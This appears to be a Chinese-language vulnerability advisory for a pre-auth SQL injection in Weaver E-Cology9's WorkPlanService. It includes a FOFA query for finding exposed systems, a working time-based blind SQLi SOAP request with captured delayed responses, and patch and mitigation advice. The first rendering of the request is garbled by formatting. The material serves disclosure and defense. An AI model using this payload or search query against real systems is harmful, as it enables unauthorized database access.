

泛微E-Cology9 WorkPlanService 前台SQL注入漏洞(XVE-2024-18112)

漏洞描述

该漏洞是由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现 SQL 注入漏洞。

影响版本

泛微E-Cology9 < 10.65.0

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="泛微-OA (e-cology) "

POC/EXP:

POST /services/WorkPlanService HTTP/1.1

HOST: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/124.0.6367.118 Safari/537.36

Content-Type: text/xml;charset=UTF-8

Connection: close

<soapenv:Envelope xmlns:soapenv="<http://schemas.xmlsoap.org/soap/envelope/>"

xmlns:web="webservices.workplan.weaver.com.cn">

[soapenv:Header/](#)

[soapenv:Body](#)

[web:deleteWorkPlan](#)

[web:in0](#)(SELECT 8544 FROM (SELECT(SLEEP(10-(IF(27=27,0,5))))))NZeo)/[web:in0](#)

[web:in122/web:in1](#)
[/web:deleteWorkPlan](#)
[/soapenv:Body](#)
[/soapenv:Envelope](#)

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1 POST /services/WorkPlanService HTTP/1.1
2 HOST:
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
4 Content-Type: text/xml; charset=UTF-8
5 Connection: close
6
7 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
8 <soapenv:Header/>
9 <soapenv:Body>
10 <web:deleteWorkPlan>
11 <!--type: string-->
12 <web:in0>(SELECT 8544 FROM (SELECT(SLEEP(10-(IF(27=27,0,5))))NZeO)</web:in0>
13 <!--type: int-->
14 <web:in1>22</web:in1>
15 </web:deleteWorkPlan>
16 </soapenv:Body>
17 </soapenv:Envelope>

插入标签

Responses

https 339bytes / 10062ms

美化

详情

1 HTTP/1.1 200 OK
2 Server: nginx/1.20.1
3 Date: Mon, 29 Jul 2024 04:49:07 GMT
4 Content-Type: text/xml; charset=utf-8
5 Connection: close
6 Cache-Control: private
7 X-Frame-Options: SAMEORIGIN
8 X-XSS-Protection: 1
9 Set-Cookie: ecology_JSessionid=aaacFcn-S-w7x4diNgfdz; path=/
10 Content-Length: 339
11
12 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><ns1:deleteWorkPlanResponse xmlns:ns1="webservices.workplan.weaver.com.cn"><ns1:out>no right</ns1:out></ns1:deleteWorkPlanResponse></soap:Body></soap:Envelope>

发送请求

强制 HTTPS

历史

数据扫描

热加载

构造请求

Request

1 POST /services/WorkPlanService HTTP/1.1
2 HOST:
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
4 Content-Type: text/xml; charset=UTF-8
5 Connection: close
6
7 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.workplan.weaver.com.cn">
8 <!--type: string-->
9 <soapenv:Body>
10 <web:deleteWorkPlan>
11 <!--type: int-->
12 <web:in0>(SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5))))NZeO)</web:in0>
13 <!--type: int-->
14 <web:in1>22</web:in1>
15 </web:deleteWorkPlan>
16 </soapenv:Body>
17 </soapenv:Envelope>

插入标签

Responses

https 339bytes / 5370ms

美化

详情

1 HTTP/1.1 200 OK
2 Server: nginx/1.20.1
3 Date: Mon, 29 Jul 2024 06:15:02 GMT
4 Content-Type: text/xml; charset=utf-8
5 Connection: close
6 Cache-Control: private
7 X-Frame-Options: SAMEORIGIN
8 X-XSS-Protection: 1
9 Set-Cookie: ecology_JSessionid=aaaEmcp2roB77aTGNgfdz; path=/
10 Content-Length: 339
11
12 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><ns1:deleteWorkPlanResponse xmlns:ns1="webservices.workplan.weaver.com.cn"><ns1:out>no right</ns1:out></ns1:deleteWorkPlanResponse></soap:Body></soap:Envelope>

修复方案

升级修复方案

官方已发布升级补丁包，支持在线升级和离线补丁安装，可在参考链接<https://www.weaver.com.cn/cs/securityDownload.html>进行下载使用。

临时缓解方案可能无法完全阻止漏洞的利用，强烈建议尽快升级到修复版本。

1. 使用WAF等安全设备进行防护。
2. 在不影响业务的情况下配置URL访问控制策略。
3. 限制访问来源地址，如非必要，不要将系统开放在互联网上。